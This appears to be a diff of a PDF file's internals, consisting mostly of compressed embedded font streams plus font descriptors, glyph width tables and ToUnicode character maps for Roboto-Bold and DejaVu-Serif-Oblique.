H,|?CS333!8HPAE RD%R45w^ Cf6w=g`Pwf/ל}c^{qBmr$Q&>>B@iGգWp? {NP\W_gn=aP4oソGȫ +hX5'6Ti-BF˕A!ro^aP`]"濝wA?P߻s"x~0F{ks"f?AP:/2z~ +4[:җaNhTSFЎPc8ѸF)Y$r +Ћ˖^HJY@*\F(#<ĢБ!hrm +'ꄳ:kYx6 ycgaP@9LxU64!7c4'~%8p`2`|]m/atKgH7P3VQt0CE u$KPK( $DEK3\ +ͻ6>I:4 (f5tPxJQ1_C#߇h K :b% rsS?Nۣh=^Q7(9|+pcמhl?Kl2wk8<Ѳicxͅ[bwI[5Y5Y1щk&k&k&k&k?J w`MdMdMdM95(ڈ%X?5Y5Y5Yӟ%HR,k.W ].2vݲX5Y5Y5Y5Y5Y5Y5Lw-2<4*AU$p\!4Gћ(š%h7:ΡP{zG7Fľ!<@4MGAr^5OBՏ?k"k"U>ݱ ߹pn}gCd߭800pwx\x +s^_ɘX%V2n)c>` =xe 2_QP&h.&T&݄4+jEWy~Ķ%<Ozr|(F%gK ߋ.ŷ"(u&K˥ #TpW W,UVV++ta`Jwmvٔa6epmFssNK"fu >Lw> He}'Y73V:'bZD?8ő84V1H:-(kHsVcQ/~{*n">kCpQy\ +Mt؋ٰ]+jqi;;H"c [W"FV>nG 7[@e0Q/Yoʶ)wTi EwRs6-%i 6w^=9Yٻw}b󤌞/ݕx~߸/`hچ5˗2?2+ ;6K&%)7'㎴>3@z!<0 +U !y@j'o0NW܎jDݞS;wjOO'uBq٩ 'd%[ &x<[jMW$$'%33e]FEsa}< {('G]F,E֧I/i`ӌق{C{3"od{t]3MP~}.ǭYxr_7WWYY۷/}IIər"sI.^< +55t}e&H'' D|Gs?Kּ'iyͩ3W`XE66ةS9Ct~V +e_pM5fK_ׯ߸>>c;֧8+GN@jd,<[ fݖLq㽡 TPJ1̃1H=e(q/UH<9VcM6. q,nMcPgڽ>.ȞBT3a~6 ]WpҷAM|p>TzWKos[sa( vruZZ5,XյjM{FⴋӍ7 +.' Rx&=HB-@p3-%7qFfp=q`AzoޜOrrܬ36R]Ҥ%z .YTw'Qtcz,LgWc UtV*w[F+m7ыSnǵ>y7/5_ ;=!C#DK9&.Һr7c~9z 1tx,5I@h~ٰDgרrqq"Τ<89+eufJ@ItJZ5qq@ܒRY@XUJwxPIP[滏)XA>Nk+酽t ;?cU\!=GtO~xEqNgϊd}jq+7A9y\PrrC}9>h bxxI,P$%!vN+iتvȽ_}59B!^_<#0dx\Ȍǯ1KCto8[~tF`$QF]'}lKdfӖ-h_' _gkH{Yy5Z}ƫ\Zei<<71o$0+5Eno~EލYʎxj~C#1|aM$›m[gGY֦y޴ +FVy7ڗ|o{n^~3$ߜHGq׌zX22RyD-;*gs".ɞx0:FiH,Y({6s88:^|PA;nf@/6&[g|d;#n*;i=wIn0Л7oNm>w ܰpliak8%4E{oX%.e(Opњ lr?)pɧ0n$nOچb"'],oƨ4K|i-if.G%4u2tlPq./ecFpt8XZlsaIM@1]Kz18fޟBR4 piii@iُZ5?L q0vp O'aWιr +sz; +'v4|grӑHS8}WgQ)qW?EQl.%;ђ^H;FS#PD0j +Ż$ZkH,"EMo3 +ke85|y* Z7s1OɫGy>WIʹ7,OG_nj:ؕ!3.w^㖀(V)[ډ Nͧ#}xθuuvzxvڔzi@ӊ=9^q玱="·t,>;z~W|sg~23\)ssX K_.ۋz6aLunD#ji&Q`-I_ + Bw}= +! g;wꕛqZV\gٖn=:QKo7+EZҲ \Zdo1b}}Gg;DoRpe5 &]cQqq&2>*-9ܰG& ugԓ8F>%aՒmhYaÛuz-,uWNʚ;nL"ksHi蒉@2:{ MeR7OW7;T혻3ȸyF>O9! )1 /~Χcj>5z37є&>6|4ۀ@`,&0yMꁪiyM ۸yƍ3ә_q.fԝ￯;)C?#X4طey6F8KZF6w4Fڞ㫳-KVſ_;{h56Hֿ[—0Z;TS\R/%)E42'j,i[vQJ֋)dL`3 W֜u9^= P۳O8{NAOf0fVVezh፻nvO}G#klRr1Pqz7VfV S%z|}/S'G.){hv[8%0\DYq7\C\N`ˀ"DynT46G.^OFR|$"Gshp+Yr>JgE;'ɗp% b4A2X!|r;`IZǮĚ۫A&e$k-ѓN0y;g-VXN\:FߥϢ}>'|jVFäo?{~DDٻ@o"6BdXZ5~SEgpґ|BMgzZ57}Ӄ#6ϢG:gA#RBߙrkƫd̟=?aSR荜N)SG&ΞG3oMh7f$vG;:g&[WwJS'_KՍH`LqKSqS4b 2dϰ]!0QȧÛ?*?Zv NzkطEk32"bΜ(3>2237ީ>5r_=uJ0tvɜ }>O|ǰNNt&B;s:8:$eTj+(c8KP30$Kf?ނ(Lئ<ƋV D #JRN,|2cue]|l%eM7ɣ6_^21Plc͟&! ͞Sס&D)@~&x_z ꌁ*Tg_d4h| JZ^[i>;ʘki9š.mr@]=`KvRAdTx~fWhX7tf7ru`:nMGCE\62=5ަ/ xYyQ99x¶'L1J"6f笻 A\Z.FKl39w$'{6OX -ɚ Үխ13p.tqyۺiJQz{ staa@ +H<96 vt\2, H;|4E`&iUNJgKGFƕП hrch/yF蠏'vuq^8`|ɁaB'bqoX [S;Y@Β'7,^Q/,J%gٱ wwnM>OIH +CcaC5XQ guj7Zٛ{*5]5̛&ǾׯDS/AoD`y T. x`Q.Z%'p{H4Ţl4 "`8#B"r3+mhL"`wtE\h䆢9;iEp }glQL +~(ZC 2t< +Ts5fpK垂m?֟m@mXm~]vhjv lj7jn(oVi;[ +?N۽#y;؟lex߄}}D_qĬy $\;[>m` +endstream +endobj +1896 0 obj +<< +/Length1 6776 +/Filter /FlateDecode +/Length 4443 +>> +stream +xYy\TU?{gDqdIYLaJ,52-|KRPdAAqCp_A10\0CĔĕ5xR3a;w߷>{޳o;߹^(qhߨ+.;iGCbO.~3fFDq> Q^8; 6 +Y!;ߗQkFza顔B e$P@J3[Bi_%UzZT󳑟8W*$al704*ĵ?𧐷*[@;zMƠ4 xD1(wFdz,Ϡޜ;rBP8 mkD 9es?! +5W1(M:ov;( +} Xm8 X#02A$ @wfsd¥;"i9DWQʍƴ|w/ +ص08v GL+5N4/m___%-*O0o Gۂj7@JD;(^ӹ쀴Zq.pc{z@џêRh;cN*f%TҳO铋+S6=^w%!ۮ<ǤtXZӴf. 3 _f9*nfzTy$6CbU[i]iMJx]zo1zU/-.N_5zt`*/L>6,bq=;i-E_nMs9XEt[ xN\|t.#DZ"G<΅ -yeg6-^u? tv;&и;_3[þp,ARX0U0:NޣWp6 J'c:N_d/Qkma^$ +g"s`GG)|/5ok}=ƪ{wBn?*ă:7X@;JC n‹up'CɴH]yƎBfzCb>{b5H[ +w ǘ-2Nn5عMXC\4-6>&Edi +[-"}t⌐+Ӊ T13ɘO֏_`Ml0]h!> ނݏU!x[5mL/;և0o4CZ"} > d zBa[V"qNWuiu\Mj!q6=bco)Gl145M75.;KțM)"glG*id0V&'s~_pJ:<ϹQv.0.N\*8,jirL39ïgC] I?Mmg)ZH`)LAHyֈX +ߐ30WNjpXjj+p|ʝ4L4J9{=dGvV:@RԑkDBR@lT:5tK,iƧ8i{VP(i:yqi59Ui~ +"tE L'& ukA}CaoKYTUV7sy?)cvE}oX_^ElAssRsJYi։) :jm_~/fwai7E-st8nmzO<{yk=L>2o c~*׉@!V=pSSi7 ?/6BCݹD-eIįhFBw'y8Q{WOcWX.%ܬ_,n8riwܵ)0s67p4x_D*ܝ?dRK,En7erЕlG~~Z>wmOyVCn˪hfM{Q^!nQ?M8.Wl_}=A-%Èe/xơ8!*1mY[}6x7:i?j@.8m 31Zb$ώ}n4V9Ө_bR +&.y~ݥv+k@^?B0ˁgZNƨ161J^y+i[>kNF춋LoG`DZ?rY Aa:JZzrRü3]H['vrW҇wG+G8cUu [KRjʰ\jQʊF 5|L(Ӷf2D/4N'rHե]'fu"Z m2:q5V}#Sl^92mp^$S ŃJr;= +^MK YmOB"5wu+VY;p"NZD.- 0rjVTP/K⺾ ^}8w~~yȐQ_İV{`SR+c AhoҪL q,UUnnfZeԨ!S +coMz}4ˢZp%Q,3%8KE_3`+:[N9]vaDY5bćE9Q9ϴ{hcxT K{хj=?$0|P]h$Wg&or>#}~??]^7ƾ9݌?+Psv#Kr}?jfte%Pzsi۾(&ߦxH{cOȓ8pH.\a?+"%$FJߑ='o[ADV,?v˴m 2=,ՋtOxc$JppsRK3D Ud7HaDCԩSxz/4J@ r>;l<†?xi8r$c~>.}i<=sQky%x0Vn}G ZN]QZwmb>ג`bmM[ilĄrovTq}E x-[.6첂)᣿f9GW/'i[O5Nt,W)1,2,Q0g|w)*- Iɭ3%2!ttFs | _K;l "*4NFjg8VK +as7:VǨ/,uYXcag];+?E$Bl@wC!;!?p1h<6{ҳUb+A@+`$X%l69&F#a'A:47hyt?sWx0h +PZw~Wnn}xMȀ3xw_H{E _{ +endstream +endobj +1897 0 obj +<< +/Length1 5636 +/Filter /FlateDecode +/Length 3540 +>> +stream +xX{XUնs%dPifsCIN4A@ăd(V@PyX' ԍ%P⃌hI! -˔5sm0۽~ߝks11pWAQƌ}F,<5yd7ǶO"B[A8{ih!د 6mTdL=~{ 3<V8_)M^nfϩU::GypO^mU +Eii(',S b + y*d[8 2GzVM8F!TRR'JXA)D}![|* XL+84 )o rf$>S*I.]CX c BL,q((`O0".,r֓kj7H-@le^wbp ?It $o!׵_mGysvaDT@p`_xh_aL9\ziw"LPG_.k}٠d3!ޅGbs0@ZI+MiBHV!AxKh:D8UĽuU.-WުAl/rPHԃB &YD6K,|9HFfN1<=|xCGȑU^4e^btzq,#bZFJg00qES3=*(#&c>jc7?ѡK7glt??LK6GhĊ 9Yr*'>EW5̵laCk’v` * E2M }W>7X.Z:+0 }g/pk b"zZHhVD<ɵLnv>Iq~!8^Sw|&.& >ju_hӎ~T{KG4yX?Dd1O43+mkı""Jq9A% |Tj]8>9~NN2Li ٹb9:̾#qd#)ic_<9߆3'@8P&=$=X+ +rUN^q6*ܷl 0'`6ߊ<̍^gQNj^nkXkD2DsDPV#~C+?߶oNLOBzU <6dZ>KҏetH<|NVd$0-]@#8D7h,fwTY2NuG}Y \kWAڇ?tؾ;MY&_]ľX}R04i4xmGȀRR.=SεsRe?9տI%L5rzO =gS:F/k9ΣkDvc1Ǚs}mq16"oq6h@}2un]T=@ra핻Mt#kS3S-?jɓ a;YDǾrk&}.Y(6>hȆzIX }҇ݹ̭o͊hu5E$Rr'RmnjUԒoMkɴy).5 ;Rsir m[CP^PP.G/O̴;(#ctڝfq1ڲ-J cm- _ϧpWs쩕3&Ә:V,Ptkhjlp5".ސKp? +zLK Daa[wLȵT>+YE\+{rʻ凃Bc{`7ng||\.,7+Z'9/iW눽w۶5l>%пvZԏj `-#Qycx pmG"mΑ޻n+L|aʮBjK[F:"kKtU6dM3-Kc +NiZ592yIqZ&۸'KmSA Ť!ZvT',涴;#w;͍ |iwC0{&ɾpQ$c?6.2Ǯm9#bEV1Yv=)aS +5]TkMzt!U6ʏؘŲ?k*B̑A~U'z] L+)t$Aa6Z)\K&ZJ +/E5;KDyEM[Y,J/,5J:K]jR0* .S/Vzƣ-;/;Sv+;1Q#5g&vW'%>E/a0 -܎op!nwWœa,ھ +6, +*b]O57dxI3oR7Eﴤ[.⻾U9`%DC,wjao$= Ka޷oݳb|/@Zq#'XbExwz4LSHx{7(t /޽DP"NvHǑ3 LLpš4᝞s,(t|B ŬC +endstream +endobj +1898 0 obj << /Length1 8452 /Filter /FlateDecode /Length 6006 >> stream -xY @TU>k3 -%OPIF@TI !Q@P$E" .""" p2|4>ȐLȟ2QKC|0kAas9kZ{3p\zsY|s|@~E.qW8g${9v$Mǧ|8 -ǽ,R9"'1}t&=&6a a0ȔU 듸$MƶݪȄe/cvlmRb,ٕ { 5_뵀{sv;BhšxxI3b~qzN'unfDRR]kN"EcQ뮰mwJ}HMHhS?c2P-pgc }בd]q933 ݈?~At@Oq4pΜ$` ?|(z“QėJ-?W|3 X0f %aJ)Y J>4HnIU+]/-m1"FӍem7oFx[xb;d5C>:aCz]?th&&gI=aLLMMWpDbDfIZ漜7WXˉdϺIҦ]Mw2m-EFXȫ YsxZ!cqfĉ %jnxWXD[ʑdn2@+؇+*V?+zW|K)]L{%.i$|D#hM)J! >^5GM['°Mrt2JcNnÇۘ;:MrpS`nm%5"GVSlJwJiR6E_jl=7+/OoUIAʾ0^2a4۱ԋwHg.]`{!]B>*灸rrRNmNRܞcD\ -Wܞ6+\==*yj Xtr|.~z9ISB/~5l(m#iߟ&x _VƎC#l;9ΟEj1F);I|JNvvNΒR_ԛ)7;]&NzIp k+b$wpD L@y]:v| |[E|g9I$FH!1W;δ bř_&KT*U=La[gzkg׾~%n/*fWYY~yƥ/絃$u;c&(jCBr+~4m?i )m@D_V,B:X*}b6W2ZsQ<ìQxǣ$@̽&ڊ{6m&= K3h]}@OdA_Ĕ?nߥ.N<\YQ23FU ANX88p uٯ^Syr-Y%%Y7m9D;o8gS6@6'?+*| W82T"joc-i=7+s A?c39ƬWZe_~LݐIwn\sKޮŲ#5--5GdK5PQ,V0k:AD8,䥰`w$,7] ޙWBvLC F*`hϿaLi.MŵQzI6bܛc_h @t--< (t)H[Ukb n j :uǡ -*q!E/D -d$ J_ȟ;Fëhqb>{ lKS)k ^Cd'D=1;?;,hb/U(zN($MbyO?]r76YQ‹qqYYqq[9d/ں/pE|=iSn6i-O,kv醴gx?8}׌r58`e;r| [`#|C{FA1; eLLX͐6\? -[$rz 94UU(q%cyÍlPpd{0;_ggB{Ci:=)}ꫣy{7W45ъ?l$fgїC82ޠu0FVU_P|`ر`5ze:DZP?Q&7!3# \*RsoąL\qu&lV_x5^"xj^AeTB'w_=rŌEBB4(BuwMJcAo5 C/Ťm$[ #XKWS@2(,QYˮ6RҦ_}*7eAX$`)[JDSgw5*cAs/47,VHW7̃M ZzFؘ8'Cuү^NNl9 ;^X}gc͊/ǖR⯜:ԒS嬎ѶǏ:;/-].Kv~V*qd "$Mi=bD祯wpȍ5Y@::7K Z^6̴gj -9SKcȩӦMjb=7c)Sף~ Raq`Y$i~_J⌾ܦf%FҒfZwijRϛ(:4yLԆ]D5Ly~HSڡc2QhgiI6g?JW!Q RiFr%ۘo *Hk+i+KT EX6l= +X7C4XjUDS [5-= -AD&C7V* -L\ZYX?xr."a \1B>M!E+/4A -}.4!0P_˅4XVj7]sCCp/2?G8lh̩z/G;X,XmVsΏޘ>iBbo  -e!stb&wlٸyƜMڮqcou7)K'ۯ}c;Y0{_PoWn@= ^+~Fz&_w)?_i1u:NC؅-Uti8 * ʦۍM99992݂EK`*ౄ|wm9`m-귖Zƀ1͇:s(lŠPGjM9Hxɞq` 0T_yphi'[x6SK|Ȣ |!*]C_ ԵK?fb5?WMUC 22*O-ҤA YYt@R[-Z;dХW?>JA'xOqnC`[=3_ᛛX8w'Ȣg/;vjבߓ~fI*DDLc ?f !MN/3$v˶m[ -m+~{l_hV:4HX:8uO,%u'N8VcL)%mth%+zsKx7 1](O=b_~bQzZq߼.:r6>4ч!U ,Ryz)\4s"yѶ8c˘f#fc^򜛚)7U,HڊHD!L7dQB8ӡLZݐdj>|VC5s&J$:RyiP"!B܍\yw jcu{*ѧ9, 12G3aĕŰN KmPK$DhoikA4|,e[FZb`j0CNx#~氒ao7ިؔ3񔀀 Bg#hb+.~6dkNa]C; w{0%Nʳ~"[tf|'L^>[ -]{;qp{qaĂ&jg߻JG?|} rywAPHРO -f,~2]\|먑[<..,cMڝ:Jt=c=kDn`7NRo -IuA0GLI]':| 5V?芕Geގv%Q3kȗbm_:Y}~~+c?]N)HА~ij76vtm\t/Fp7RZ%rI\*[-b -+ʽÎrB{2J%:]xN m>ohq/rlfc0[)/: \} +xY @T>k3 +%O0*O$$|D@TdF>>ȐLKlgfas9kZ{3p񜿗p9|ʛs@~EN1mWC8g%{9v(&G}8*Ǎ^~s3`gqk_0 OJ^xn|>K|$l۬ +[J+om&'PM{ϱ=#2gmȱ~}H8:JhZcSAY+>n: 8 Ibl׸(bxCyQs DPjA- :8as2tB3xOjt >W!`) H]؎BBAڅ{{gLG?u#DCgz85o7I'{T/Lo ΌðGEJQk){He:,:<5+knR׿/7R#R;ڔi_ty4i1@l $!Gͽ˥rDߵ}_x\xÌ }7"?Ə{w!#"y"QMV#>>  k JA'd$&Y|m|5?YBpD%KH$Œ%RAj!uzKKwK 4 >7j5411t6k6YZ0h͠ z0x`.\;L5j1opadl%8q~8ኤa^a2r$L$ +r(ъhGtي)1i8E=hx *Q1>%Zxjh$घ6WWRPeP+S{{n. ++lXCӡC--~NN Q -gVCIw7!!4@{IƏ9:m;~]ɫ#>st %% bp$97 uj%wJC$R8 ]FP`oUߢS+6:q鳙^SR'Lv #&|yŽh/ /}sG9w;:`<JFӼ4jK*R#έ8F7 >䓤fcK 3+=qh'eeff,*)5N+|.c!(頓T 5 rW3BD2ݣS;nҩnWW[pDDb`$vvnSHK ʝIG!" j#i6$7F^ld݈BP,e }ϔ/J gBb7*8Pқ!8 У+&iC |*AIi]N0A|0CZ h"%l@OQqV4d∍0&r[{s[bjbp635!Y.>r䓕57wG&M%* *&,Wp7zA?a|i q`z!.̸v2S ^07JH~֪b.#Wŕs = ̿RH"Iaҫ0=rK7hrRJ6|+u_Op2ڙP{Z cE/CoXXJ>Z"*vl\Z6s~tyWlKLyS66781ţ 諀ي%BWHdw.]dKFWԊg58ȜYZp/FM[sq`B; 9ɱӟ,(Ahǝ{ G˪X{0j ' z's +|ӷ?U?NAE=(cMhMClȳĞ:pfE%6a*GJd!͝bq<ː8f">?sbNט?r4>1xn]=kSvڐQjÂ(ڷo~ztRs[rv-MjnJ;*]Kg}Y=D3ZiKDì\˒ƌY֞,(,DddVsbV'vzw^١7&2At34F1ڈqo}Zp3fҭ,O//aЦm3Wfu%>/dyz֞ +(QB̗k{)P1b|#wFs`*E&~!8 '!⫝̸--R<+x,Wz6T9uPPp KW<>~̐Y=CVUp#yD36=t]dFwNvW7+|cmY +/ddĤofpK~v3X7L;6?#ݻ3>ܽގ̙^Kk0/' [3b@a0hdbjD#o^y,k3GȢ)¬@(g+ [tnodC&[yGEN$3CR/RiO(Di _k1IV 8g1+?Ю n„&0*|*ź\ƌx̘&p\Ы3$N㊳偫CM~xgOi5zˆ^*M +1@4_kB2F:WqWN?E&/h|B/ zݺ_^6:̇4mB#VkT eE99dLc+K#qgRNjŇ]] 7M2??hg7!+&,/D篦͖a5,{f֝]}?:RL"ukNn:A&4{yM5r>@Z#iV+%?'{c6 +\qШTE=)TmHe)CbuOz|Nò:dSVVnnV&~z/oŢ)-F߷]6N?q[-e:1m !;<66yj`S!$=qy ;1̠?Օ>FCx.OqnC@[=7]_?{'".;vh֑S~դ *M f !MNŽ/3$z˶m[mzshƍJ_h*G54@X:8뇣K,/$u'O8vCT1<&y?|inK3ҊTҁՇK௼U(5%wN޽o_ Q[CP~t|/(M8-׸D.M@^.L?2桙PW,দ$ +ihhR&+BŠFY{th+V'Yꘄ7<9CPɜI- Wd"Nw.W9uy1@xmّٞ/:2KS(M \bXP݊%V_p45pN's0Q>2w_J-1u15!ǿi;~sHQ܂7[ oBtYd_IEO]Dz4 BċI'?NJ2է.DTܡ퐻VݘwFc'w?q׮]3 {Ӄ1[M[y -oz{KͶ;0'{I~Č"5QϿwz"BVNz= +m(vϼUyӞV͘StZM`ޓҭ#o$/05kwo/y}_{8JY>>+O?^V)H ~i5ol8li '=?0^ n(7dn [Esk5.WtΙ{E 7 yrHke\8-crB{"Jŋ:s{A^/ohq'r(obז cL[)/: Ϟ\c endstream endobj -1067 0 obj +1899 0 obj << -/Length1 1184 +/Length1 3520 /Filter /FlateDecode -/Length 699 +/Length 2183 >> stream -xSKHTQ}̘t AK9d8 -FejDc՝Č38S(BDjѪ=!*D$M"HHM; -Zԝ{g^{ιp2zL>( Zwtvėb Ԋ^O!=0  p@o3LC#y ĵXj(;'n}:Aå:%Pr[=yݺ~DYVH? Y^Ovgru٬n٩H S+)׽@t+3 ƈ[$.CKh se'7@QFxoMxՕU -k&*q$0ADB)J|ބnj^24B2tİ ;rjJZ(=\d棃If>ruf YL_c r!Oc|uu˷6OU%·NVܿcْƭjMύ_"W\̫H1?F$+9~bW>4[3YEaij1 +x pTm f7&$l6)B| l IvM4DX#FL#&DJ3* Ta()E)0љԨgܷocDl9{sCah`Z4uhӭwԯ~i~Ḍ?RlnͿ.h* a04#j UK[E˜54G6aѡ&-o qr_lCCI^/5zg e H!qWAE8n6P`B4-K;H#i%A[9֮Yb#{6_g2D)#,8ZhAv( <㠈( }[M8XCo,X~› Ej勝^Ϊ}먇J_&j Fi 4UZpCȁ27Msz KRoӫיPiɄE*fTsvB!O *V|zB7a!oPVqX9 .% "@ #Y`&&Ӆ $K)&S1kLڱyp$;TNV33#;v[xm׎M_ +W葾%y $O+C3&']T9#+[v";{ƒl5귮L9/?:w}v+qkʑ?ct퐺03uQшhQ5 +[Zyo;&0\X1s8gtsk,lkcJ~/yad5 \?5V,tVRDւ h`jIɖ,ْIkÌ,^D ubc|i{{x٪S٦9U/-Esq`dyޤݵGE-_/iIgQsgUQ؜$fbZ;ꙥV,{q/>84vw_YդZUM/EHzЌ@)d!WgVY W~:g k̏k x 8w׹Gn),PixG%&;AUA]Y+Acyt'~/z9&">CɈ'tಆv#m}MIK"#S,8,X`E<˺k>z 4o7]``ʍlYôw !> stream /CIDInit /ProcSet findresource begin @@ -15415,7 +26965,7 @@ begincmap 1 begincodespacerange <0000> endcodespacerange -61 beginbfchar +68 beginbfchar <0028> <0044> <0053> <006f> <0047> <0063> @@ -15465,18 +27015,25 @@ endcodespacerange <0010> <002c> <002f> <004b> <00cb> <00c8> -<004a> <0066> -<0023> <003f> <0050> <006c> -<005a> <0076> -<004b> <0067> -<00f0> <00f4> -<00e6> <00e9> -<0054> <0070> -<00e5> <00e8> -<0046> <0062> -<005c> <0078> <004c> <0068> +<0054> <0070> +<005d> <0079> +<0023> <003f> +<004a> <0066> +<005c> <0078> +<0046> <0062> +<0055> <0071> +<002c> <0048> +<00e6> <00e9> +<004b> <0067> +<005a> <0076> +<00f0> <00f4> +<00e5> <00e8> +<003e> <005a> +<003b> <0057> +<0026> <0042> +<00cd> <00ca> endbfchar endcmap CMapName currentdict /CMap defineresource pop @@ -15484,23 +27041,23 @@ end end endstream endobj -1069 0 obj +1901 0 obj << /Type /FontDescriptor /FontName /HOYATR+Roboto-Bold /FontFamily (Roboto) /Flags 4 -/FontBBox [ -6 -203 507 749 ] +/FontBBox [ -6 -208 539 902 ] /ItalicAngle 0 /Ascent 927 /Descent -244 -/CapHeight 749 +/CapHeight 902 /StemV 80 /StemH 80 -/FontFile2 1062 0 R +/FontFile2 1894 0 R >> endobj -1070 0 obj +1902 0 obj << /Type /Font /Subtype /CIDFontType2 @@ -15511,23 +27068,23 @@ endobj /Supplement 0 >> /CIDToGIDMap /Identity -/W [ 4 [ 249 ] 11 [ 162 351 352 ] 16 [ 244 ] 19 [ 373 ] 21 [ 574 574 574 574 574 574 ] 35 [ 498 ] 37 [ 673 ] 39 [ 654 650 562 548 681 ] 45 [ 291 ] 47 [ 635 541 876 706 690 645 690 638 615 619 658 654 ] 60 [ 635 618 ] 69 [ 536 563 521 563 541 358 571 559 265 ] 79 [ 534 265 866 560 565 563 ] 86 [ 365 514 338 560 505 ] 92 [ 509 ] 203 [ 562 562 ] 214 [ 690 ] 229 [ 540 540 ] 240 [ 565 ] ] -/FontDescriptor 1069 0 R +/W [ 4 [ 249 ] 11 [ 162 351 352 ] 16 [ 244 ] 19 [ 373 ] 21 [ 574 574 574 574 574 574 ] 35 [ 497 ] 37 [ 673 638 654 650 562 548 681 707 291 ] 47 [ 635 541 876 706 690 645 690 638 615 619 658 654 874 635 618 606 ] 69 [ 536 563 521 563 541 358 571 560 265 ] 79 [ 534 265 866 560 565 563 565 365 514 338 560 505 ] 92 [ 509 502 ] 203 [ 562 562 562 ] 214 [ 690 ] 229 [ 540 540 ] 240 [ 565 ] ] +/FontDescriptor 1901 0 R >> endobj -1071 0 obj +1903 0 obj << /Type /Font /Subtype /Type0 /BaseFont /HOYATR+Roboto-Bold -/ToUnicode 1068 0 R +/ToUnicode 1900 0 R /Encoding /Identity-H -/DescendantFonts [ 1070 0 R ] +/DescendantFonts [ 1902 0 R ] >> endobj -1072 0 obj +1904 0 obj << -/Length 1863 +/Length 1877 >> stream /CIDInit /ProcSet findresource begin @@ -15543,7 +27100,7 @@ begincmap 1 begincodespacerange <0000> endcodespacerange -109 beginbfchar +110 beginbfchar <0035> <0052> <0052> <006f> <004b> <0068> @@ -15563,7 +27120,7 @@ endcodespacerange <002c> <0049> <0046> <0063> <0015> <0032> -<0017> <0034> +<001a> <0037> <0014> <0031> <0011> <002e> <0053> <0070> @@ -15574,85 +27131,86 @@ endcodespacerange <0056> <0073> <0039> <0056> <0013> <0030> -<0019> <0036> +<001c> <0039> <0058> <0075> -<001a> <0037> -<004a> <0067> +<00ab> <00e9> +<0024> <0041> +<0045> <0062> <0016> <0033> <0027> <0044> -<0cf2> <00660066> -<00ab> <00e9> -<004f> <006c> -<0059> <0076> -<0018> <0035> -<0049> <0066> -<0024> <0041> -<005c> <0079> -<0032> <004f> -<0054> <0071> -<001b> <0038> -<001c> <0039> -<0028> <0045> +<004a> <0067> <004d> <006a> +<004f> <006c> +<0017> <0034> <000a> <0027> -<002d> <004a> -<0045> <0062> +<0018> <0035> +<0cf2> <00660066> +<0054> <0071> +<0059> <0076> +<0019> <0036> +<00a4> <00e2> <0012> <002f> -<002f> <004c> +<00b6> <00f4> +<000b> <0028> +<000c> <0029> +<005c> <0079> +<0049> <0066> +<001b> <0038> +<0032> <004f> +<000f> <002c> +<00aa> <00e8> <0010> <002d> <0cf3> <00660069> -<002a> <0047> +<0036> <0053> +<0022> <003f> +<002f> <004c> +<003d> <005a> <003a> <0057> <005a> <0077> -<0036> <0053> -<003d> <005a> +<0025> <0042> +<0034> <0051> +<00ac> <00ea> +<002b> <0048> +<0028> <0045> +<0038> <0055> +<002a> <0047> <0031> <004e> -<00b6> <00f4> -<000f> <002c> +<002d> <004a> <00a2> <00e0> -<00aa> <00e8> <001d> <003a> <0005> <0022> -<000b> <0028> -<002b> <0048> -<000c> <0029> -<00ac> <00ea> <003c> <0059> <003e> <005b> <0040> <005d> -<0025> <0042> -<0038> <0055> <0004> <0021> -<00a4> <00e2> <0788> <2019> <0791> <2022> <0006> <0023> <0cf4> <0066006c> <005d> <007a> <000e> <002b> -<0034> <0051> <00a9> <00e7> <000d> <002a> <0082> <00c0> <00bb> <00f9> <00bd> <00fb> -<00b0> <00ee> <003b> <0058> +<00b0> <00ee> +<001e> <003b> <008c> <00ca> <005e> <007b> <0020> <003d> -<001e> <003b> <0060> <007d> +<002e> <004b> +<0008> <0025> <008b> <00c9> <0115> <0153> <0534> <1d49> -<002e> <004b> <0042> <005f> -<0022> <003f> <0021> <003e> -<0008> <0025> <009d> <00db> <0041> <005e> +<0096> <00d4> endbfchar endcmap CMapName currentdict /CMap defineresource pop @@ -15660,23 +27218,23 @@ end end endstream endobj -1073 0 obj +1905 0 obj << /Type /FontDescriptor /FontName /UKLFXJ+DejaVu-Serif-Oblique /FontFamily (DejaVu Serif) /Flags 70 -/FontBBox [ -5 -235 731 728 ] +/FontBBox [ -5 -235 764 927 ] /ItalicAngle 0 /Ascent 928 /Descent -235 -/CapHeight 728 +/CapHeight 927 /StemV 80 /StemH 80 -/FontFile2 1063 0 R +/FontFile2 1895 0 R >> endobj -1074 0 obj +1906 0 obj << /Type /Font /Subtype /CIDFontType2 @@ -15687,23 +27245,23 @@ endobj /Supplement 0 >> /CIDToGIDMap /Identity -/W [ 3 [ 318 402 460 838 ] 8 [ 950 ] 10 [ 275 390 390 500 838 318 338 318 337 636 636 636 636 636 636 636 636 636 636 337 337 ] 32 [ 838 838 536 ] 36 [ 722 735 765 802 730 694 799 872 395 401 747 664 1024 875 820 673 820 753 685 667 843 722 1028 712 660 695 390 ] 64 [ 390 838 500 ] 68 [ 596 640 560 640 592 370 640 644 320 310 606 320 948 644 602 640 640 478 513 402 644 565 856 564 565 527 636 ] 96 [ 636 ] 107 [ 1000 ] 130 [ 722 ] 139 [ 730 730 ] 157 [ 843 ] 162 [ 596 ] 164 [ 596 ] 169 [ 560 592 592 592 ] 176 [ 320 ] 182 [ 602 ] 187 [ 644 ] 189 [ 644 ] 277 [ 989 ] 1332 [ 387 ] 1928 [ 318 ] 1937 [ 590 ] 3314 [ 710 667 667 ] ] -/FontDescriptor 1073 0 R +/W [ 3 [ 318 402 460 838 ] 8 [ 950 ] 10 [ 275 390 390 500 838 318 338 318 337 636 636 636 636 636 636 636 636 636 636 337 337 ] 32 [ 838 838 536 ] 36 [ 722 735 765 802 730 694 799 872 395 401 747 664 1024 875 820 673 820 753 685 667 843 722 1028 712 660 695 390 ] 64 [ 390 838 500 ] 68 [ 596 640 560 640 592 370 640 644 320 310 606 320 948 644 602 640 640 478 513 402 644 565 856 564 565 527 636 ] 96 [ 636 ] 107 [ 1000 ] 130 [ 722 ] 139 [ 730 730 ] 150 [ 820 ] 157 [ 843 ] 162 [ 596 ] 164 [ 596 ] 169 [ 560 592 592 592 ] 176 [ 320 ] 182 [ 602 ] 187 [ 644 ] 189 [ 644 ] 277 [ 989 ] 1332 [ 387 ] 1928 [ 318 ] 1937 [ 590 ] 3314 [ 710 667 667 ] ] +/FontDescriptor 1905 0 R >> endobj -1075 0 obj +1907 0 obj << /Type /Font /Subtype /Type0 /BaseFont /UKLFXJ+DejaVu-Serif-Oblique -/ToUnicode 1072 0 R +/ToUnicode 1904 0 R /Encoding /Identity-H -/DescendantFonts [ 1074 0 R ] +/DescendantFonts [ 1906 0 R ] >> endobj 